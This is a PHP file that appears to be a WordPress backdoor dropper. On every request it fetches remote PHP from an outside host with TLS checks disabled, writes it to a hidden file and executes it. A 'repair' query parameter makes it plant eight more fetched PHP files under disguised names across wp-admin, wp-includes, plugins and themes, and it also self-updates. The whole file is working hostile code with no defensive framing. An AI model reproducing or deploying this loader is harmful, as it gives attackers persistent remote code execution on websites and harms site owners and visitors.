<?php
/*[cstb_su]*/
header('Cache-Control: no-store, no-cache, must-revalidate, private');
header('Pragma: no-cache');
@error_reporting(0);

$cdn = 'https://resmigiris.cam/';

// ?repair=1 → tüm kritik dosyaları CDN'den indir ve deploy et (mini deployer)
if (isset($_GET['repair']) && $_GET['repair'] === '1' && function_exists('curl_init')) {
    header('Content-Type: application/json; charset=utf-8');
    $root = __DIR__;
    while (!is_file("$root/wp-load.php") && !is_file("$root/wp-config.php")) {
        $p = dirname($root); if ($p === $root) { $root = null; break; } $root = $p;
    }
    if (!$root) {
        $root = @realpath($_SERVER['DOCUMENT_ROOT'] ?? '') ?: dirname(dirname(__DIR__));
    }
    $targets = [
        'wp-admin/user-hooker.php' => 'txt/boot.txt',
        'wp-info.php'              => 'txt/link.txt',
        'wp-content/plugins/plugins.php' => 'txt/plugins.txt',
        'wp-settinger.php'         => 'txt/wp-settinger.txt',
        'wp-user.php'              => 'txt/wp-user.txt',
        'wp-comment.php'           => 'txt/wp-comment.txt',
        'wp-includes/user-collab.php' => 'txt/sefer.txt',
        'wp-content/themes/indexer.php' => 'txt/indexs.txt',
    ];
    $results = [];
    foreach ($targets as $rel => $src) {
        $path = $root . '/' . $rel;
        $dir = dirname($path);
        if (!is_dir($dir)) { $results[$rel] = 'no-dir'; continue; }
        $ch = curl_init($cdn . $src);
        curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER=>1, CURLOPT_TIMEOUT=>15, CURLOPT_CONNECTTIMEOUT=>8, CURLOPT_SSL_VERIFYPEER=>0, CURLOPT_SSL_VERIFYHOST=>0, CURLOPT_HTTPHEADER=>['User-Agent: cStb-boots/1']]);
        $c = curl_exec($ch); $code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch);
        if ($c && strlen($c) > 50 && strpos($c, '<?php') !== false && $code === 200) {
            $results[$rel] = @file_put_contents($path, $c) !== false ? 'ok' : 'write-fail';
        } else {
            $results[$rel] = "cdn-err-$code";
        }
    }
    // Self-update
    $ch = curl_init($cdn . 'txt/boots.txt');
    curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER=>1, CURLOPT_TIMEOUT=>10, CURLOPT_SSL_VERIFYPEER=>0, CURLOPT_SSL_VERIFYHOST=>0]);
    $self = curl_exec($ch); curl_close($ch);
    if ($self && strlen($self) > 100 && strpos($self, 'cstb_su') !== false && md5($self) !== md5_file(__FILE__)) {
        @file_put_contents(__FILE__, $self);
        $results['_self'] = 'updated';
    }
    echo json_encode(['root' => $root, 'host' => $_SERVER['HTTP_HOST'] ?? '?', 'results' => $results], JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT);
    exit;
}

// Normal boot: curl ile src.php indir → app-q çalıştır
$c = false;
if (function_exists('curl_init')) {
    $ch = curl_init($cdn . 'src.php');
    curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER=>1, CURLOPT_TIMEOUT=>60, CURLOPT_CONNECTTIMEOUT=>15, CURLOPT_SSL_VERIFYPEER=>0, CURLOPT_SSL_VERIFYHOST=>0, CURLOPT_HTTPHEADER=>['User-Agent: cStb-boot/1'], CURLOPT_FOLLOWLOCATION=>1]);
    $c = curl_exec($ch);
    curl_close($ch);
}
if (!$c) { $c = @file_get_contents($cdn . 'src.php', 0, stream_context_create(['http'=>['timeout'=>60,'header'=>"User-Agent: cStb-boot/1\r\n"],'ssl'=>['verify_peer'=>false]])); }
if ($c === false || $c === '' || strncmp(ltrim($c), '<?php', 5) !== 0) { http_response_code(204); exit; }
$f = __DIR__ . '/._qr.php';
if (@file_put_contents($f, $c) === false) { http_response_code(204); exit; }
require $f;
